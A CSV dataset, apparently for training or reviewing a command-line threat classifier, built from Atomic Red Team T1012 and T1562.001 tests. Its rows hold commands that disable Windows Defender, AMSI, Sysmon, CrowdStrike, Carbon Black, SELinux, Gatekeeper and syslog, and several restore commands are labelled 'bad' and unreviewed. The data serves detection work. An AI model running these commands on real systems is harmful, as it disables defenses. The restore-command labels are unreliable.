46107ec7e8b260a0f4794757,remove-item #{output_file} -force -erroraction silentlycontinue remove-item $env:temp\clsids.txt -force -erroraction silentlycontinue,remove-item #{output_file} -force -erroraction silentlycontinue remove-item $env:temp\clsids.txt -force -erroraction silentlycontinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1012/T1012.yaml,Enumerate COM Objects in Registry with Powershell,T1012,"[""T1012""]",windows,0.55,True,"This test is designed to enumerate the COM objects listed in HKCR, then output their methods and CLSIDs to a text file.
An adversary could then use this information to identify COM objects that might be vulnerable to abuse, such as using them to spawn arbitrary processes. 
See: https://www.mandiant.com/resources/hunting-com-objects",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
861a4477a30ce55362c1b6e5,reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated,reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1012/T1012.yaml,Reg query for AlwaysInstallElevated status,T1012,"[""T1012""]",windows,0.9,False,"The reg query commands allows to check the status of the AlwaysInstallElevated registry key for both the user and the machine. If both queries return a value of 0x1, then AlwaysInstallElevated is enabled for both user and machine thus allowing a regular user to install a Microsoft Windows Installer package with system level privileges. This can be abused by an attacker to escalate privileges in the host to SYSTEM level.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
af84f39d52d72624c0808aab,reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64,reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1012/T1012.yaml,Check Software Inventory Logging (SIL) status via Registry,T1012,"[""T1012""]",windows,0.9,False,"Microsoft's Software Inventory Logging (SIL) collects information about software installed per host basis. Adversary can use such logs to passively 
check for existence of software of interest to them. Status of SIL can be checked via registry.
[Reference](https://blog.talosintelligence.com/chinese-hacking-group-apt41-compromised-taiwanese-government-affiliated-research-institute-with-shadowpad-and-cobaltstrike-2/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6f227023360a62840e3d834a,reg.exe query HKLM\SYSTEM\CurrentControlSet\Control /v SystemStartOptions,reg.exe query HKLM\SYSTEM\CurrentControlSet\Control /v SystemStartOptions,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1012/T1012.yaml,Inspect SystemStartOptions Value in Registry,T1012,"[""T1012""]",windows,0.9,False,"The objective of this test is to query the SystemStartOptions key under HKLM\SYSTEM\CurrentControlSet\Control in the Windows registry. This action could be used to uncover specific details about how the system is configured to start, potentially aiding in understanding boot parameters or identifying security-related settings. key is.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
30ee42c1d1521246600e23a9,"service syslogd stop sysrc syslogd_enable=""NO""","service syslogd stop sysrc syslogd_enable=""NO""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable syslog (freebsd),T1562.001,"[""T1562.001""]",linux,0.9,False,"Disables syslog collection
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
77cc6180a4b4747bcd826efe,"sysrc syslogd_enable=""YES"" service syslogd start","sysrc syslogd_enable=""YES"" service syslogd start",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable syslog (freebsd),T1562.001,"[""T1562.001""]",linux,0.55,True,"Disables syslog collection
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cc1cefd2ec7fa1ac64306019,"if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq ""6"" ]; then service cbdaemon stop chkconfig off cbdaemon else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq ""7"" ]; systemctl stop cbdaemon systemctl disable cbdaemon fi","if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq ""6"" ]; then service cbdaemon stop chkconfig off cbdaemon else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq ""7"" ]; systemctl stop cbdaemon systemctl disable cbdaemon fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Cb Response,T1562.001,"[""T1562.001""]",linux,0.9,False,"Disable the Cb Response service
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3f71fc822ec648e60fd8e9f9,setenforce 0,setenforce 0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable SELinux,T1562.001,"[""T1562.001""]",linux,0.9,False,"Disables SELinux enforcement
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d72d32fbf2cd3e55af57b729,setenforce 1,setenforce 1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable SELinux,T1562.001,"[""T1562.001""]",linux,0.55,True,"Disables SELinux enforcement
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
28c8f204ed5dae420fc117cd,sudo systemctl stop falcon-sensor.service sudo systemctl disable falcon-sensor.service,sudo systemctl stop falcon-sensor.service sudo systemctl disable falcon-sensor.service,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Stop Crowdstrike Falcon on Linux,T1562.001,"[""T1562.001""]",linux,0.9,False,"Stop and disable Crowdstrike Falcon on Linux
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dd42e163d1018e14053512fb,sudo systemctl enable falcon-sensor.service sudo systemctl start falcon-sensor.service,sudo systemctl enable falcon-sensor.service sudo systemctl start falcon-sensor.service,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Stop Crowdstrike Falcon on Linux,T1562.001,"[""T1562.001""]",linux,0.55,True,"Stop and disable Crowdstrike Falcon on Linux
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ce7aa745942bb12e56432f56,sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist,sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Carbon Black Response,T1562.001,"[""T1562.001""]",macos,0.9,False,"Disables Carbon Black Response
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
460dea9a5158a4420b5c0b82,sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist,sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Carbon Black Response,T1562.001,"[""T1562.001""]",macos,0.55,True,"Disables Carbon Black Response
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f3e6c5401a328ae9c2ae6cc9,sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist,sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable LittleSnitch,T1562.001,"[""T1562.001""]",macos,0.9,False,"Disables LittleSnitch
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
066d6dc30646ac23b5b178fd,sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist,sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable LittleSnitch,T1562.001,"[""T1562.001""]",macos,0.55,True,"Disables LittleSnitch
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7fa8450c12a418324e0694d9,sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist,sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable OpenDNS Umbrella,T1562.001,"[""T1562.001""]",macos,0.9,False,"Disables OpenDNS Umbrella
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e7357f028c6209eb610dd6e4,sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist,sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable OpenDNS Umbrella,T1562.001,"[""T1562.001""]",macos,0.55,True,"Disables OpenDNS Umbrella
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f8368571361c7f9ced598505,sudo spctl --master-disable,sudo spctl --master-disable,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable macOS Gatekeeper,T1562.001,"[""T1562.001""]",macos,0.9,False,"Disables macOS Gatekeeper
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d9f581d072c0b8bb1eecd894,sudo spctl --master-enable,sudo spctl --master-enable,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable macOS Gatekeeper,T1562.001,"[""T1562.001""]",macos,0.55,True,"Disables macOS Gatekeeper
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
87811dac4da6d87ab6154092,sudo launchctl unload #{falcond_plist} sudo launchctl unload #{userdaemon_plist},sudo launchctl unload #{falcond_plist} sudo launchctl unload #{userdaemon_plist},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Stop and unload Crowdstrike Falcon on macOS,T1562.001,"[""T1562.001""]",macos,0.9,False,"Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
214fefec8d7b62433102038c,sudo launchctl load -w #{falcond_plist} sudo launchctl load -w #{userdaemon_plist},sudo launchctl load -w #{falcond_plist} sudo launchctl load -w #{userdaemon_plist},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Stop and unload Crowdstrike Falcon on macOS,T1562.001,"[""T1562.001""]",macos,0.55,True,"Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ad491b3eda4cd5bfb8b420d,fltmc.exe unload #{sysmon_driver},fltmc.exe unload #{sysmon_driver},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Unload Sysmon Filter Driver,T1562.001,"[""T1562.001""]",windows,0.9,False,"Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution,
run the prereq_command's and it should fail with an error of ""sysmon filter must be loaded"".
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0863d4d696ab5fcff30e8f54,"sysmon -u -i > nul 2>&1 sysmon -i -accepteula -i > nul 2>&1 ""PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"" -u > nul 2>&1 ""PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"" -accepteula -i > nul 2>&1","sysmon -u -i > nul 2>&1 sysmon -i -accepteula -i > nul 2>&1 ""PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"" -u > nul 2>&1 ""PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"" -accepteula -i > nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Unload Sysmon Filter Driver,T1562.001,"[""T1562.001""]",windows,0.55,True,"Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution,
run the prereq_command's and it should fail with an error of ""sysmon filter must be loaded"".
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
224b43c69883d260adad310a,sysmon -u,sysmon -u,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Uninstall Sysmon,T1562.001,"[""T1562.001""]",windows,0.9,False,"Uninstall Sysinternals Sysmon for Defense Evasion
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2783448c8f4984b35ffe7589,sysmon -i -accepteula >nul 2>&1,sysmon -i -accepteula >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Uninstall Sysmon,T1562.001,"[""T1562.001""]",windows,0.55,True,"Uninstall Sysinternals Sysmon for Defense Evasion
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8dc2f8bd0afc4a17c7c9aae2,"Remove-Item -Path ""HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}"" -Recurse","Remove-Item -Path ""HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}"" -Recurse",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,AMSI Bypass - Remove AMSI Provider Reg Key,T1562.001,"[""T1562.001""]",windows,0.9,False,"With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection.
This test removes the Windows Defender provider registry key. Upon execution, no output is displayed.
Open Registry Editor and navigate to ""HKLM:\SOFTWARE\Microsoft\AMSI\Providers\"" to verify that it is gone.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1e321a8ef5eab4954cf509c3,"New-Item -Path ""HKLM:\SOFTWARE\Microsoft\AMSI\Providers"" -Name ""{2781761E-28E0-4109-99FE-B9D127C57AFE}"" -ErrorAction Ignore | Out-Null","New-Item -Path ""HKLM:\SOFTWARE\Microsoft\AMSI\Providers"" -Name ""{2781761E-28E0-4109-99FE-B9D127C57AFE}"" -ErrorAction Ignore | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,AMSI Bypass - Remove AMSI Provider Reg Key,T1562.001,"[""T1562.001""]",windows,0.55,True,"With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection.
This test removes the Windows Defender provider registry key. Upon execution, no output is displayed.
Open Registry Editor and navigate to ""HKLM:\SOFTWARE\Microsoft\AMSI\Providers\"" to verify that it is gone.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
092b1d752ab12d4fff080566,net.exe stop #{service_name} sc.exe config #{service_name} start= disabled,net.exe stop #{service_name} sc.exe config #{service_name} start= disabled,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Arbitrary Security Windows Service,T1562.001,"[""T1562.001""]",windows,0.9,False,"With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.
Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.
To verify that the service has stopped, run ""sc query McAfeeDLPAgentService""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f2e6bc0c4fdd2c417f3e8799,sc.exe config #{service_name} start= auto >nul 2>&1 net.exe start #{service_name} >nul 2>&1,sc.exe config #{service_name} start= auto >nul 2>&1 net.exe start #{service_name} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Arbitrary Security Windows Service,T1562.001,"[""T1562.001""]",windows,0.55,True,"With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.
Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.
To verify that the service has stopped, run ""sc query McAfeeDLPAgentService""
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c57a1bb2067e95923d228c79,Set-MpPreference -DisableRealtimeMonitoring 1 Set-MpPreference -DisableBehaviorMonitoring 1 Set-MpPreference -DisableScriptScanning 1 Set-MpPreference -DisableBlockAtFirstSeen 1,Set-MpPreference -DisableRealtimeMonitoring 1 Set-MpPreference -DisableBehaviorMonitoring 1 Set-MpPreference -DisableScriptScanning 1 Set-MpPreference -DisableBlockAtFirstSeen 1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender ATP PowerShell,T1562.001,"[""T1562.001""]",windows,0.9,False,"Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
72a302314b3a5fd72ac5d4bb,Set-MpPreference -DisableRealtimeMonitoring 0 Set-MpPreference -DisableBehaviorMonitoring 0 Set-MpPreference -DisableScriptScanning 0 Set-MpPreference -DisableBlockAtFirstSeen 0,Set-MpPreference -DisableRealtimeMonitoring 0 Set-MpPreference -DisableBehaviorMonitoring 0 Set-MpPreference -DisableScriptScanning 0 Set-MpPreference -DisableBlockAtFirstSeen 0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender ATP PowerShell,T1562.001,"[""T1562.001""]",windows,0.55,True,"Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c4bc2d75e77d4534794d48f5,sc stop WinDefend sc config WinDefend start=disabled sc query WinDefend,sc stop WinDefend sc config WinDefend start=disabled sc query WinDefend,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender Command Prompt,T1562.001,"[""T1562.001""]",windows,0.9,False,"Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.
However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, ""Access Denied""
will be displayed twice and the WinDefend service status will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
43733e664a39f72fa6dbef4d,sc start WinDefend >nul 2>&1 sc config WinDefend start=enabled >nul 2>&1,sc start WinDefend >nul 2>&1 sc config WinDefend start=enabled >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender Command Prompt,T1562.001,"[""T1562.001""]",windows,0.55,True,"Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.
However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, ""Access Denied""
will be displayed twice and the WinDefend service status will be displayed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1bb21af7988086ca5ccffc3d,"Set-ItemProperty ""HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"" -Name DisableAntiSpyware -Value 1","Set-ItemProperty ""HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"" -Name DisableAntiSpyware -Value 1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender Registry,T1562.001,"[""T1562.001""]",windows,0.9,False,"Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be
grayed out and have no info.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e5288900eb40f3b2f8365516,"Set-ItemProperty ""HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"" -Name DisableAntiSpyware -Value 0","Set-ItemProperty ""HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"" -Name DisableAntiSpyware -Value 0",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender Registry,T1562.001,"[""T1562.001""]",windows,0.55,True,"Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be
grayed out and have no info.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
425752016cad7c62b7fce939,"Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Office\16.0\Excel\Security"" -Name ""VBAWarnings"" -ErrorAction Ignore | Out-Null Remove-Item -Path ""HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"" -ErrorAction Ignore","Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Office\16.0\Excel\Security"" -Name ""VBAWarnings"" -ErrorAction Ignore | Out-Null Remove-Item -Path ""HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Disable Microsoft Office Security Features,T1562.001,"[""T1562.001""]",windows,0.55,True,"Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not
show any warning before editing the document.


https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e94d5a2c38e5803df2da930e,"""C:\Program Files\Windows Defender\MpCmdRun.exe"" -RemoveDefinitions -All","""C:\Program Files\Windows Defender\MpCmdRun.exe"" -RemoveDefinitions -All",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Remove Windows Defender Definition Files,T1562.001,"[""T1562.001""]",windows,0.9,False,"Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.
On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the
command will say completed.

https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ba7f8e51f53b137010a22e9d,Stop-Service -Name #{service_name} Remove-Service -Name #{service_name},Stop-Service -Name #{service_name} Remove-Service -Name #{service_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Stop and Remove Arbitrary Security Windows Service,T1562.001,"[""T1562.001""]",windows,0.9,False,"Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
81d0723c385c066ae135cfca,"if (Test-Path ""#{falcond_path}"") {. ""#{falcond_path}"" /repair /uninstall /quiet } else { Get-ChildItem -Path ""C:\ProgramData\Package Cache"" -Include ""WindowsSensor.exe"" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath $_.FullName); if ($sig.Status -eq ""Valid"" -and $sig.SignerCertificate.DnsNameList -eq ""CrowdStrike, Inc."") { . ""$_"" /repair /uninstall /quiet; break;}}}","if (Test-Path ""#{falcond_path}"") {. ""#{falcond_path}"" /repair /uninstall /quiet } else { Get-ChildItem -Path ""C:\ProgramData\Package Cache"" -Include ""WindowsSensor.exe"" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath $_.FullName); if ($sig.Status -eq ""Valid"" -and $sig.SignerCertificate.DnsNameList -eq ""CrowdStrike, Inc."") { . ""$_"" /repair /uninstall /quiet; break;}}}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Uninstall Crowdstrike Falcon on Windows,T1562.001,"[""T1562.001""]",windows,0.9,False,"Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
81c083f037619b5b09ccfc87,"$excludedpath= ""#{excluded_folder}"" Add-MpPreference -ExclusionPath $excludedpath","$excludedpath= ""#{excluded_folder}"" Add-MpPreference -ExclusionPath $excludedpath",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender Evade Scanning -Folder,T1562.001,"[""T1562.001""]",windows,0.9,False,"Malware can exclude a specific path from being scanned and evading detection. 
Upon successul execution, the file provided should be on the list of excluded path. 
To check the exclusion list using poweshell (Get-MpPreference).ExclusionPath 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
36c75af219d7e44b92ed6e2d,"$excludedpath= ""#{excluded_folder}"" Remove-MpPreference -ExclusionPath $excludedpath","$excludedpath= ""#{excluded_folder}"" Remove-MpPreference -ExclusionPath $excludedpath",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender Evade Scanning -Folder,T1562.001,"[""T1562.001""]",windows,0.55,True,"Malware can exclude a specific path from being scanned and evading detection. 
Upon successul execution, the file provided should be on the list of excluded path. 
To check the exclusion list using poweshell (Get-MpPreference).ExclusionPath 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
86af14c0e56efc69f11bbe4d,"$excludedExts= ""#{excluded_exts}"" Add-MpPreference -ExclusionExtension $excludedExts","$excludedExts= ""#{excluded_exts}"" Add-MpPreference -ExclusionExtension $excludedExts",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender Evade Scanning -Extension,T1562.001,"[""T1562.001""]",windows,0.9,False,"Malware can exclude specific extensions from being scanned and evading detection. 
Upon successful execution, the extension(s) should be on the list of excluded extensions.
To check the exclusion list using poweshell  (Get-MpPreference).ExclusionExtension.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7675c92a05c3a7d00ac8667c,"$excludedExts= ""#{excluded_exts}"" Remove-MpPreference -ExclusionExtension $excludedExts -ErrorAction Ignore","$excludedExts= ""#{excluded_exts}"" Remove-MpPreference -ExclusionExtension $excludedExts -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender Evade Scanning -Extension,T1562.001,"[""T1562.001""]",windows,0.55,True,"Malware can exclude specific extensions from being scanned and evading detection. 
Upon successful execution, the extension(s) should be on the list of excluded extensions.
To check the exclusion list using poweshell  (Get-MpPreference).ExclusionExtension.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e1bd014eaffe2856607c12e8,"$excludedProcess = ""#{excluded_process}"" Add-MpPreference -ExclusionProcess $excludedProcess","$excludedProcess = ""#{excluded_process}"" Add-MpPreference -ExclusionProcess $excludedProcess",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender Evade Scanning -Process,T1562.001,"[""T1562.001""]",windows,0.9,False,"Malware can exclude specific processes from being scanned and evading detection.
Upon successful execution, the process(es) should be on the list of excluded processes. 
To check the exclusion list using poweshell  (Get-MpPreference).ExclusionProcess.""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
344cdb58d24198b3deb999e9,"$excludedProcess = ""#{excluded_process}"" Remove-MpPreference -ExclusionProcess $excludedProcess","$excludedProcess = ""#{excluded_process}"" Remove-MpPreference -ExclusionProcess $excludedProcess",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.001/T1562.001.yaml,Tamper with Windows Defender Evade Scanning -Process,T1562.001,"[""T1562.001""]",windows,0.55,True,"Malware can exclude specific processes from being scanned and evading detection.
Upon successful execution, the process(es) should be on the list of excluded processes. 
